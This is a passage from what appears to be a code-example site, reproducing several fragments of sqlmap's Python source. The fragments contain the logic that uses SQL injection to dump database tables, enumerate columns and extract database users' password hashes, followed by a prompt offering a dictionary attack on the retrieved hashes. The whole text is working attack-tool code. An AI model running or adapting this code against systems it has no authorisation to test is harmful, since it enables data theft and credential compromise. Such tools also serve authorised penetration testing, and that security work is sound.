                                  PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
                    entries = []
                    query = None

                    if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2,
                                                       DBMS.DERBY,
                                                       DBMS.ALTIBASE,
                                                       DBMS.MIMERSQL):
                        query = rootQuery.inband.query % (
                            colString, tbl.upper() if not conf.db else
                            ("%s.%s" % (conf.db.upper(), tbl.upper())))
                    elif Backend.getIdentifiedDbms() in (DBMS.SQLITE,
                                                         DBMS.ACCESS,
                                                         DBMS.FIREBIRD,
                                                         DBMS.MAXDB,
                                                         DBMS.MCKOI,
                                                         DBMS.EXTREMEDB):
                        query = rootQuery.inband.query % (colString, tbl)
                    elif Backend.getIdentifiedDbms() in (DBMS.SYBASE,
                                                         DBMS.MSSQL):
                        # Partial inband and error
                        if not (isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION)
                                and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].
                                where == PAYLOAD.WHERE.ORIGINAL):
                            table = "%s.%s" % (conf.db, tbl)

                            if Backend.isDbms(
                                    DBMS.MSSQL) and not conf.forcePivoting:
                                warnMsg = "in case of table dumping problems (e.g. column entry order) "
                                warnMsg += "you are advised to rerun with '--force-pivoting'"
                                singleTimeWarnMessage(warnMsg)

                                query = rootQuery.blind.count % table
                                query = agent.whereQuery(query)

                                count = inject.getValue(
                                    query,
                                    blind=False,
                                    time=False,
                                    expected=EXPECTED.INT,
                                    charsetType=CHARSET_TYPE.DIGITS)
                                if isNumPosStrValue(count):
                                    try:
                                        indexRange = getLimitRange(
                                            count, plusOne=True)

                                        for index in indexRange:
                                            row = []
                                            for column in colList:
                                                query = rootQuery.blind.query3 % (
                                                    column, column, table,
                                                    index)
                                                query = agent.whereQuery(query)
                                                value = inject.getValue(
                                                    query,
                                                    blind=False,
                                                    time=False,
                                                    dump=True) or ""
                                                row.append(value)

                                            if not entries and isNoneValue(
                                                    row):
                                                break

                                            entries.append(row)

                                    except KeyboardInterrupt:
                                        kb.dumpKeyboardInterrupt = True
                                        clearConsoleLine()
                                        warnMsg = "Ctrl+C detected in dumping phase"
                                        logger.warn(warnMsg)

                            if isNoneValue(
                                    entries) and not kb.dumpKeyboardInterrupt:
                                try:
                                    retVal = pivotDumpTable(table,
                                                            colList,
                                                            blind=False)
                                except KeyboardInterrupt:
                                    retVal = None
                                    kb.dumpKeyboardInterrupt = True
                                    clearConsoleLine()
                                    warnMsg = "Ctrl+C detected in dumping phase"
                                    logger.warn(warnMsg)

                                if retVal:
                                    entries, _ = retVal
                                    entries = BigArray(
                                        _zip(*[
                                            entries[colName]
                                            for colName in colList
                                        ]))
                        else:
                            query = rootQuery.inband.query % (colString,
                                                              conf.db, tbl)
                    elif Backend.getIdentifiedDbms() in (DBMS.MYSQL,
                                                         DBMS.PGSQL,
                                                         DBMS.HSQLDB, DBMS.H2,
                                                         DBMS.VERTICA,
                                                         DBMS.PRESTO,
                                                         DBMS.CRATEDB,
                                                         DBMS.CACHE):
                        query = rootQuery.inband.query % (
                            colString, conf.db, tbl,
                            prioritySortColumns(colList)[0])
                    else:
                        query = rootQuery.inband.query % (colString, conf.db,
                                                          tbl)

                    query = agent.whereQuery(query)

                    if not entries and query and not kb.dumpKeyboardInterrupt:
                        try:
                            entries = inject.getValue(query,
                                                      blind=False,
                                                      time=False,
                                                      dump=True)
                        except KeyboardInterrupt:
                            entries = None
                            kb.dumpKeyboardInterrupt = True
                            clearConsoleLine()
                            warnMsg = "Ctrl+C detected in dumping phase"
                            logger.warn(warnMsg)

                    if not isNoneValue(entries):
                        if isinstance(entries, six.string_types):
                            entries = [entries]
                        elif not isListLike(entries):
                            entries = []

                        entriesCount = len(entries)

                        for index, column in enumerate(colList):
                            if column not in kb.data.dumpedTable:
                                kb.data.dumpedTable[column] = {
                                    "length": len(column),
                                    "values": BigArray()
                                }

                            for entry in entries:
                                if entry is None or len(entry) == 0:
                                    continue

                                if isinstance(entry, six.string_types):
                                    colEntry = entry
                                else:
                                    colEntry = unArrayizeValue(
                                        entry[index]
                                    ) if index < len(entry) else u''

                                maxLen = max(
                                    getConsoleLength(column),
                                    getConsoleLength(
                                        DUMP_REPLACEMENTS.get(
                                            getUnicode(colEntry),
                                            getUnicode(colEntry))))

                                if maxLen > kb.data.dumpedTable[column][
                                        "length"]:
                                    kb.data.dumpedTable[column][
                                        "length"] = maxLen

                                kb.data.dumpedTable[column]["values"].append(
                                    colEntry)

                if not kb.data.dumpedTable and isInferenceAvailable(
                ) and not conf.direct:
                    infoMsg = "fetching number of "
                    if conf.col:
                        infoMsg += "column(s) '%s' " % colNames
                    infoMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming(
                        tbl)
                    infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
                        conf.db)
                    logger.info(infoMsg)

                    if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2,
                                                       DBMS.DERBY,
                                                       DBMS.ALTIBASE,
                                                       DBMS.MIMERSQL):
                        query = rootQuery.blind.count % (
                            tbl.upper() if not conf.db else
                            ("%s.%s" % (conf.db.upper(), tbl.upper())))
                    elif Backend.getIdentifiedDbms() in (DBMS.SQLITE,
                                                         DBMS.ACCESS,
                                                         DBMS.FIREBIRD,
                                                         DBMS.MCKOI,
                                                         DBMS.EXTREMEDB):
                        query = rootQuery.blind.count % tbl
                    elif Backend.getIdentifiedDbms() in (DBMS.SYBASE,
                                                         DBMS.MSSQL):
                        query = rootQuery.blind.count % ("%s.%s" %
                                                         (conf.db, tbl))
                    elif Backend.isDbms(DBMS.MAXDB):
                        query = rootQuery.blind.count % tbl
                    elif Backend.isDbms(DBMS.INFORMIX):
                        query = rootQuery.blind.count % (conf.db, tbl)
                    else:
                        query = rootQuery.blind.count % (conf.db, tbl)

                    query = agent.whereQuery(query)

                    count = inject.getValue(query,
                                            union=False,
                                            error=False,
                                            expected=EXPECTED.INT,
                                            charsetType=CHARSET_TYPE.DIGITS)

                    lengths = {}
                    entries = {}

                    if count == 0:
                        warnMsg = "table '%s' " % unsafeSQLIdentificatorNaming(
                            tbl)
                        warnMsg += "in database '%s' " % unsafeSQLIdentificatorNaming(
                            conf.db)
                        warnMsg += "appears to be empty"
                        logger.warn(warnMsg)

                        for column in colList:
                            lengths[column] = len(column)
                            entries[column] = []

                    elif not isNumPosStrValue(count):
                        warnMsg = "unable to retrieve the number of "
                        if conf.col:
                            warnMsg += "column(s) '%s' " % colNames
                        warnMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming(
                            tbl)
                        warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
                            conf.db)
                        logger.warn(warnMsg)

                        continue

                    elif Backend.getIdentifiedDbms() in (DBMS.ACCESS,
                                                         DBMS.SYBASE,
                                                         DBMS.MAXDB,
                                                         DBMS.MSSQL,
                                                         DBMS.INFORMIX,
                                                         DBMS.MCKOI):
                        if Backend.getIdentifiedDbms() in (DBMS.ACCESS,
                                                           DBMS.MCKOI,
                                                           DBMS.EXTREMEDB):
                            table = tbl
                        elif Backend.getIdentifiedDbms() in (DBMS.SYBASE,
                                                             DBMS.MSSQL,
                                                             DBMS.MAXDB):
                            table = "%s.%s" % (conf.db, tbl)
                        elif Backend.isDbms(DBMS.INFORMIX):
                            table = "%s:%s" % (conf.db, tbl)

                        if Backend.isDbms(
                                DBMS.MSSQL) and not conf.forcePivoting:
                            warnMsg = "in case of table dumping problems (e.g. column entry order) "
                            warnMsg += "you are advised to rerun with '--force-pivoting'"
                            singleTimeWarnMessage(warnMsg)

                            try:
                                indexRange = getLimitRange(count, plusOne=True)

                                for index in indexRange:
                                    for column in colList:
                                        query = rootQuery.blind.query3 % (
                                            column, column, table, index)
                                        query = agent.whereQuery(query)

                                        value = inject.getValue(
                                            query,
                                            union=False,
                                            error=False,
                                            dump=True) or ""

                                        if column not in lengths:
                                            lengths[column] = 0

                                        if column not in entries:
                                            entries[column] = BigArray()

                                        lengths[column] = max(
                                            lengths[column],
                                            len(
                                                DUMP_REPLACEMENTS.get(
                                                    getUnicode(value),
                                                    getUnicode(value))))
                                        entries[column].append(value)

                            except KeyboardInterrupt:
                                kb.dumpKeyboardInterrupt = True
                                clearConsoleLine()
                                warnMsg = "Ctrl+C detected in dumping phase"
                                logger.warn(warnMsg)

                        if not entries and not kb.dumpKeyboardInterrupt:
                            try:
                                retVal = pivotDumpTable(table,
                                                        colList,
                                                        count,
                                                        blind=True)
                            except KeyboardInterrupt:
                                retVal = None
                                kb.dumpKeyboardInterrupt = True
                                clearConsoleLine()
                                warnMsg = "Ctrl+C detected in dumping phase"
                                logger.warn(warnMsg)

                            if retVal:
                                entries, lengths = retVal

                    else:
                        emptyColumns = []
                        plusOne = Backend.getIdentifiedDbms(
                        ) in PLUS_ONE_DBMSES
                        indexRange = getLimitRange(count, plusOne=plusOne)

                        if len(colList) < len(
                                indexRange) > CHECK_ZERO_COLUMNS_THRESHOLD:
                            debugMsg = "checking for empty columns"
                            logger.debug(infoMsg)

                            for column in colList:
                                if not inject.checkBooleanExpression(
                                        "(SELECT COUNT(%s) FROM %s)>0" %
                                    (column, kb.dumpTable)):
                                    emptyColumns.append(column)
                                    debugMsg = "column '%s' of table '%s' will not be " % (
                                        column, kb.dumpTable)
                                    debugMsg += "dumped as it appears to be empty"
                                    logger.debug(debugMsg)

                        try:
                            for index in indexRange:
                                for column in colList:
                                    value = ""

                                    if column not in lengths:
                                        lengths[column] = 0

                                    if column not in entries:
                                        entries[column] = BigArray()

                                    if Backend.getIdentifiedDbms() in (
                                            DBMS.MYSQL, DBMS.PGSQL,
                                            DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA,
                                            DBMS.PRESTO, DBMS.CRATEDB,
                                            DBMS.CACHE):
                                        query = rootQuery.blind.query % (
                                            agent.preprocessField(tbl, column),
                                            conf.db, conf.tbl,
                                            sorted(colList, key=len)[0], index)
                                    elif Backend.getIdentifiedDbms() in (
                                            DBMS.ORACLE,
                                            DBMS.DB2,
                                            DBMS.DERBY,
                                            DBMS.ALTIBASE,
                                    ):
                                        query = rootQuery.blind.query % (
                                            agent.preprocessField(tbl, column),
                                            tbl.upper() if not conf.db else
                                            ("%s.%s" %
                                             (conf.db.upper(), tbl.upper())),
                                            index)
                                    elif Backend.getIdentifiedDbms() in (
                                            DBMS.MIMERSQL, ):
                                        query = rootQuery.blind.query % (
                                            agent.preprocessField(tbl, column),
                                            tbl.upper() if not conf.db else
                                            ("%s.%s" %
                                             (conf.db.upper(), tbl.upper())),
                                            sorted(colList, key=len)[0], index)
                                    elif Backend.getIdentifiedDbms() in (
                                            DBMS.SQLITE, DBMS.EXTREMEDB):
                                        query = rootQuery.blind.query % (
                                            agent.preprocessField(
                                                tbl, column), tbl, index)
                                    elif Backend.isDbms(DBMS.FIREBIRD):
                                        query = rootQuery.blind.query % (
                                            index,
                                            agent.preprocessField(tbl,
                                                                  column), tbl)
                                    elif Backend.isDbms(DBMS.INFORMIX):
                                        query = rootQuery.blind.query % (
                                            index,
                                            agent.preprocessField(
                                                tbl, column), conf.db, tbl,
                                            sorted(colList, key=len)[0])
                                    elif Backend.isDbms(DBMS.FRONTBASE):
                                        query = rootQuery.blind.query % (
                                            index,
                                            agent.preprocessField(
                                                tbl, column), conf.db, tbl)
                                    else:
                                        query = rootQuery.blind.query % (
                                            agent.preprocessField(tbl, column),
                                            conf.db, tbl, index)

                                    query = agent.whereQuery(query)

                                    value = NULL if column in emptyColumns else inject.getValue(
                                        query,
                                        union=False,
                                        error=False,
                                        dump=True)
                                    value = '' if value is None else value

                                    lengths[column] = max(
                                        lengths[column],
                                        len(
                                            DUMP_REPLACEMENTS.get(
                                                getUnicode(value),
                                                getUnicode(value))))
                                    entries[column].append(value)

                        except KeyboardInterrupt:
                            kb.dumpKeyboardInterrupt = True
                            clearConsoleLine()
                            warnMsg = "Ctrl+C detected in dumping phase"
                            logger.warn(warnMsg)

                    for column, columnEntries in entries.items():
                        length = max(lengths[column], len(column))

                        kb.data.dumpedTable[column] = {
                            "length": length,
                            "values": columnEntries
                        }

                        entriesCount = len(columnEntries)

                if len(kb.data.dumpedTable) == 0 or (entriesCount == 0
                                                     and kb.permissionFlag):
                    warnMsg = "unable to retrieve the entries "
                    if conf.col:
                        warnMsg += "of columns '%s' " % colNames
                    warnMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(
                        tbl)
                    warnMsg += "in database '%s'%s" % (
                        unsafeSQLIdentificatorNaming(conf.db),
                        " (permission denied)" if kb.permissionFlag else "")
                    logger.warn(warnMsg)
                else:
                    kb.data.dumpedTable["__infos__"] = {
                        "count": entriesCount,
                        "table": safeSQLIdentificatorNaming(tbl, True),
                        "db": safeSQLIdentificatorNaming(conf.db)
                    }
                    try:
                        attackDumpedTable()
                    except (IOError, OSError) as ex:
                        errMsg = "an error occurred while attacking "
                        errMsg += "table dump ('%s')" % getSafeExString(ex)
                        logger.critical(errMsg)
                    conf.dumper.dbTableValues(kb.data.dumpedTable)

            except SqlmapConnectionException as ex:
                errMsg = "connection exception detected in dumping phase "
                errMsg += "('%s')" % getSafeExString(ex)
                logger.critical(errMsg)

            finally:
                kb.dumpColumns = None
                kb.dumpTable = None
Beispiel #40
0
    def getPasswordHashes(self):
        infoMsg = "fetching database users password hashes"

        rootQuery = queries[Backend.getIdentifiedDbms()].passwords

        if conf.user == "CU":
            infoMsg += " for current user"
            conf.user = self.getCurrentUser()

        logger.info(infoMsg)

        if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE,
                                                         DBMS.DB2):
            conf.user = conf.user.upper()

        if conf.user:
            users = conf.user.split(',')

            if Backend.isDbms(DBMS.MYSQL):
                for user in users:
                    parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user)

                    if parsedUser:
                        users[users.index(user)] = parsedUser.groups()[0]
        else:
            users = []

        users = [_ for _ in users if _]

        if any(
                isTechniqueAvailable(_)
                for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR,
                          PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
            if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(
                ("2005", "2008")):
                query = rootQuery.inband.query2
            else:
                query = rootQuery.inband.query

            condition = rootQuery.inband.condition

            if conf.user:
                query += " WHERE "
                query += " OR ".join("%s = '%s'" % (condition, user)
                                     for user in sorted(users))

            if Backend.isDbms(DBMS.SYBASE):
                getCurrentThreadData().disableStdOut = True

                retVal = pivotDumpTable(
                    "(%s) AS %s" % (query, kb.aliasName),
                    ['%s.name' % kb.aliasName,
                     '%s.password' % kb.aliasName],
                    blind=False)

                if retVal:
                    for user, password in filterPairValues(
                            _zip(retVal[0]["%s.name" % kb.aliasName],
                                 retVal[0]["%s.password" % kb.aliasName])):
                        if user not in kb.data.cachedUsersPasswords:
                            kb.data.cachedUsersPasswords[user] = [password]
                        else:
                            kb.data.cachedUsersPasswords[user].append(password)

                getCurrentThreadData().disableStdOut = False
            else:
                values = inject.getValue(query, blind=False, time=False)

                if isNoneValue(values) and Backend.isDbms(DBMS.MSSQL):
                    values = inject.getValue(query.replace(
                        "master.dbo.fn_varbintohexstr",
                        "sys.fn_sqlvarbasetostr"),
                                             blind=False,
                                             time=False)

                for user, password in filterPairValues(values):
                    if not user or user == " ":
                        continue

                    password = parsePasswordHash(password)

                    if user not in kb.data.cachedUsersPasswords:
                        kb.data.cachedUsersPasswords[user] = [password]
                    else:
                        kb.data.cachedUsersPasswords[user].append(password)

        if not kb.data.cachedUsersPasswords and isInferenceAvailable(
        ) and not conf.direct:
            fallback = False

            if not len(users):
                users = self.getUsers()

                if Backend.isDbms(DBMS.MYSQL):
                    for user in users:
                        parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user)

                        if parsedUser:
                            users[users.index(user)] = parsedUser.groups()[0]

            if Backend.isDbms(DBMS.SYBASE):
                getCurrentThreadData().disableStdOut = True

                query = rootQuery.inband.query

                retVal = pivotDumpTable(
                    "(%s) AS %s" % (query, kb.aliasName),
                    ['%s.name' % kb.aliasName,
                     '%s.password' % kb.aliasName],
                    blind=True)

                if retVal:
                    for user, password in filterPairValues(
                            _zip(retVal[0]["%s.name" % kb.aliasName],
                                 retVal[0]["%s.password" % kb.aliasName])):
                        password = "******" % encodeHex(password,
                                                      binary=False).upper()

                        if user not in kb.data.cachedUsersPasswords:
                            kb.data.cachedUsersPasswords[user] = [password]
                        else:
                            kb.data.cachedUsersPasswords[user].append(password)

                getCurrentThreadData().disableStdOut = False
            else:
                retrievedUsers = set()

                for user in users:
                    user = unArrayizeValue(user)

                    if user in retrievedUsers:
                        continue

                    if Backend.isDbms(DBMS.INFORMIX):
                        count = 1
                    else:
                        infoMsg = "fetching number of password hashes "
                        infoMsg += "for user '%s'" % user
                        logger.info(infoMsg)

                        if Backend.isDbms(
                                DBMS.MSSQL) and Backend.isVersionWithin(
                                    ("2005", "2008")):
                            query = rootQuery.blind.count2 % user
                        else:
                            query = rootQuery.blind.count % user

                        count = inject.getValue(
                            query,
                            union=False,
                            error=False,
                            expected=EXPECTED.INT,
                            charsetType=CHARSET_TYPE.DIGITS)

                        if not isNumPosStrValue(count) and Backend.isDbms(
                                DBMS.MSSQL):
                            fallback = True
                            count = inject.getValue(
                                query.replace("master.dbo.fn_varbintohexstr",
                                              "sys.fn_sqlvarbasetostr"),
                                union=False,
                                error=False,
                                expected=EXPECTED.INT,
                                charsetType=CHARSET_TYPE.DIGITS)

                        if not isNumPosStrValue(count):
                            warnMsg = "unable to retrieve the number of password "
                            warnMsg += "hashes for user '%s'" % user
                            logger.warn(warnMsg)
                            continue

                    infoMsg = "fetching password hashes for user '%s'" % user
                    logger.info(infoMsg)

                    passwords = []

                    plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE,
                                                              DBMS.DB2)
                    indexRange = getLimitRange(count, plusOne=plusOne)

                    for index in indexRange:
                        if Backend.isDbms(DBMS.MSSQL):
                            if Backend.isVersionWithin(("2005", "2008")):
                                query = rootQuery.blind.query2 % (user, index,
                                                                  user)
                            else:
                                query = rootQuery.blind.query % (user, index,
                                                                 user)

                            if fallback:
                                query = query.replace(
                                    "master.dbo.fn_varbintohexstr",
                                    "sys.fn_sqlvarbasetostr")

                        elif Backend.isDbms(DBMS.INFORMIX):
                            query = rootQuery.blind.query % (user, )

                        elif Backend.isDbms(DBMS.HSQLDB):
                            query = rootQuery.blind.query % (index, user)

                        else:
                            query = rootQuery.blind.query % (user, index)

                        password = unArrayizeValue(
                            inject.getValue(query, union=False, error=False))
                        password = parsePasswordHash(password)

                        passwords.append(password)

                    if passwords:
                        kb.data.cachedUsersPasswords[user] = passwords
                    else:
                        warnMsg = "unable to retrieve the password "
                        warnMsg += "hashes for user '%s'" % user
                        logger.warn(warnMsg)

                    retrievedUsers.add(user)

        if not kb.data.cachedUsersPasswords:
            errMsg = "unable to retrieve the password hashes for the "
            errMsg += "database users (probably because the DBMS "
            errMsg += "current user has no read privileges over the relevant "
            errMsg += "system database table(s))"
            logger.error(errMsg)
        else:
            for user in kb.data.cachedUsersPasswords:
                kb.data.cachedUsersPasswords[user] = list(
                    set(kb.data.cachedUsersPasswords[user]))

            storeHashesToFile(kb.data.cachedUsersPasswords)

            message = "do you want to perform a dictionary-based attack "
            message += "against retrieved password hashes? [Y/n/q]"
            choice = readInput(message, default='Y').upper()

            if choice == 'N':
                pass
            elif choice == 'Q':
                raise SqlmapUserQuitException
            else:
                attackCachedUsersPasswords()

        return kb.data.cachedUsersPasswords
Beispiel #41
0
    def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False):
        self.forceDbmsEnum()

        if conf.db is None or conf.db == CURRENT_DB:
            if conf.db is None:
                warnMsg = "missing database parameter. sqlmap is going "
                warnMsg += "to use the current database to enumerate "
                warnMsg += "table(s) columns"
                logger.warn(warnMsg)

            conf.db = self.getCurrentDb()

            if not conf.db:
                errMsg = "unable to retrieve the current "
                errMsg += "database name"
                raise SqlmapNoneDataException(errMsg)

        elif conf.db is not None:
            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB):
                conf.db = conf.db.upper()

            if  ',' in conf.db:
                errMsg = "only one database name is allowed when enumerating "
                errMsg += "the tables' columns"
                raise SqlmapMissingMandatoryOptionException(errMsg)

        conf.db = safeSQLIdentificatorNaming(conf.db)

        if conf.col:
            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                conf.col = conf.col.upper()

            colList = conf.col.split(',')
        else:
            colList = []

        if conf.excludeCol:
            colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')]

        for col in colList:
            colList[colList.index(col)] = safeSQLIdentificatorNaming(col)

        colList = filter(None, colList)

        if conf.tbl:
            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB):
                conf.tbl = conf.tbl.upper()

            tblList = conf.tbl.split(",")
        else:
            self.getTables()

            if len(kb.data.cachedTables) > 0:
                if conf.db in kb.data.cachedTables:
                    tblList = kb.data.cachedTables[conf.db]
                else:
                    tblList = kb.data.cachedTables.values()

                if isinstance(tblList[0], (set, tuple, list)):
                    tblList = tblList[0]

                tblList = list(tblList)
            elif not conf.search:
                errMsg = "unable to retrieve the tables "
                errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                raise SqlmapNoneDataException(errMsg)
            else:
                return kb.data.cachedColumns

        tblList = filter(None, (safeSQLIdentificatorNaming(_, True) for _ in tblList))

        if bruteForce is None:
            if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                errMsg = "information_schema not available, "
                errMsg += "back-end DBMS is MySQL < 5.0"
                logger.error(errMsg)
                bruteForce = True

            elif Backend.isDbms(DBMS.ACCESS):
                errMsg = "cannot retrieve column names, "
                errMsg += "back-end DBMS is %s" % DBMS.ACCESS
                logger.error(errMsg)
                bruteForce = True

        if bruteForce:
            resumeAvailable = False

            for tbl in tblList:
                for db, table, colName, colType in kb.brute.columns:
                    if db == conf.db and table == tbl:
                        resumeAvailable = True
                        break

            if resumeAvailable and not conf.freshQueries or colList:
                columns = {}

                for column in colList:
                    columns[column] = None

                for tbl in tblList:
                    for db, table, colName, colType in kb.brute.columns:
                        if db == conf.db and table == tbl:
                            columns[colName] = colType

                    if conf.db in kb.data.cachedColumns:
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns
                    else:
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = {safeSQLIdentificatorNaming(tbl, True): columns}

                return kb.data.cachedColumns

            message = "do you want to use common column existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]")
            test = readInput(message, default="Y" if "Y" in message else "N")

            if test[0] in ("n", "N"):
                return
            elif test[0] in ("q", "Q"):
                raise SqlmapUserQuitException
            else:
                return columnExists(paths.COMMON_COLUMNS)

        rootQuery = queries[Backend.getIdentifiedDbms()].columns
        condition = rootQuery.blind.condition if 'condition' in rootQuery.blind else None

        if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
            for tbl in tblList:
                if conf.db is not None and len(kb.data.cachedColumns) > 0 \
                   and conf.db in kb.data.cachedColumns and tbl in \
                   kb.data.cachedColumns[conf.db]:
                    infoMsg = "fetched tables' columns on "
                    infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                    logger.info(infoMsg)

                    return {conf.db: kb.data.cachedColumns[conf.db]}

                infoMsg = "fetching columns "
                condQuery = ""

                if len(colList) > 0:
                    if colTuple:
                        _, colCondParam = colTuple
                        infoMsg += "LIKE '%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList))
                    else:
                        colCondParam = "='%s'"
                        infoMsg += "'%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList))

                    condQueryStr = "%%s%s" % colCondParam
                    condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList))

                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB):
                    query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
                    query += condQuery
                elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                    query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper()))
                    query += condQuery
                elif Backend.isDbms(DBMS.MSSQL):
                    query = rootQuery.inband.query % (conf.db, conf.db, conf.db, conf.db,
                                                      conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
                    query += condQuery.replace("[DB]", conf.db)
                elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD):
                    query = rootQuery.inband.query % tbl

                if dumpMode and colList:
                    values = [(_,) for _ in colList]
                else:
                    infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
                    infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                    logger.info(infoMsg)

                    values = None
                    if Backend.isDbms(DBMS.MSSQL) and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
                        expression = query
                        kb.dumpColumns = []
                        kb.rowXmlMode = True

                        for column in extractRegexResult(r"SELECT (?P<result>.+?) FROM", query).split(','):
                            kb.dumpColumns.append(randomStr().lower())
                            expression = expression.replace(column, "%s AS %s" % (column, kb.dumpColumns[-1]), 1)

                        values = unionUse(expression)
                        kb.rowXmlMode = False
                        kb.dumpColumns = None

                    if values is None:
                        values = inject.getValue(query, blind=False, time=False)

                if Backend.isDbms(DBMS.MSSQL) and isNoneValue(values):
                    index, values = 1, []

                    while True:
                        query = rootQuery.inband.query2 % (conf.db, tbl, index)
                        value = unArrayizeValue(inject.getValue(query, blind=False, time=False))

                        if isNoneValue(value) or value == " ":
                            break
                        else:
                            values.append((value,))
                            index += 1

                if Backend.isDbms(DBMS.SQLITE):
                    parseSqliteTableSchema(unArrayizeValue(values))
                elif not isNoneValue(values):
                    table = {}
                    columns = {}

                    for columnData in values:
                        if not isNoneValue(columnData):
                            name = safeSQLIdentificatorNaming(columnData[0])

                            if name:
                                if conf.getComments:
                                    _ = queries[Backend.getIdentifiedDbms()].column_comment
                                    if hasattr(_, "query"):
                                        if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                                            query = _.query % (unsafeSQLIdentificatorNaming(conf.db.upper()), unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(name.upper()))
                                        else:
                                            query = _.query % (unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(name))

                                        comment = unArrayizeValue(inject.getValue(query, blind=False, time=False))
                                        if not isNoneValue(comment):
                                            infoMsg = "retrieved comment '%s' for column '%s'" % (comment, name)
                                            logger.info(infoMsg)
                                    else:
                                        warnMsg = "on %s it is not " % Backend.getIdentifiedDbms()
                                        warnMsg += "possible to get column comments"
                                        singleTimeWarnMessage(warnMsg)

                                if len(columnData) == 1:
                                    columns[name] = None
                                else:
                                    if Backend.isDbms(DBMS.FIREBIRD):
                                        columnData[1] = FIREBIRD_TYPES.get(int(columnData[1]) if isinstance(columnData[1], basestring) and columnData[1].isdigit() else columnData[1], columnData[1])

                                    columns[name] = columnData[1]

                    if conf.db in kb.data.cachedColumns:
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns
                    else:
                        table[safeSQLIdentificatorNaming(tbl, True)] = columns
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table

        elif isInferenceAvailable() and not conf.direct:
            for tbl in tblList:
                if conf.db is not None and len(kb.data.cachedColumns) > 0 \
                   and conf.db in kb.data.cachedColumns and tbl in \
                   kb.data.cachedColumns[conf.db]:
                    infoMsg = "fetched tables' columns on "
                    infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                    logger.info(infoMsg)

                    return {conf.db: kb.data.cachedColumns[conf.db]}

                infoMsg = "fetching columns "
                condQuery = ""

                if len(colList) > 0:
                    if colTuple:
                        _, colCondParam = colTuple
                        infoMsg += "LIKE '%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList))
                    else:
                        colCondParam = "='%s'"
                        infoMsg += "'%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList))

                    condQueryStr = "%%s%s" % colCondParam
                    condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList))

                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB):
                    query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
                    query += condQuery

                elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                    query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper()))
                    query += condQuery

                elif Backend.isDbms(DBMS.MSSQL):
                    query = rootQuery.blind.count % (conf.db, conf.db, \
                        unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
                    query += condQuery.replace("[DB]", conf.db)

                elif Backend.isDbms(DBMS.FIREBIRD):
                    query = rootQuery.blind.count % (tbl)
                    query += condQuery
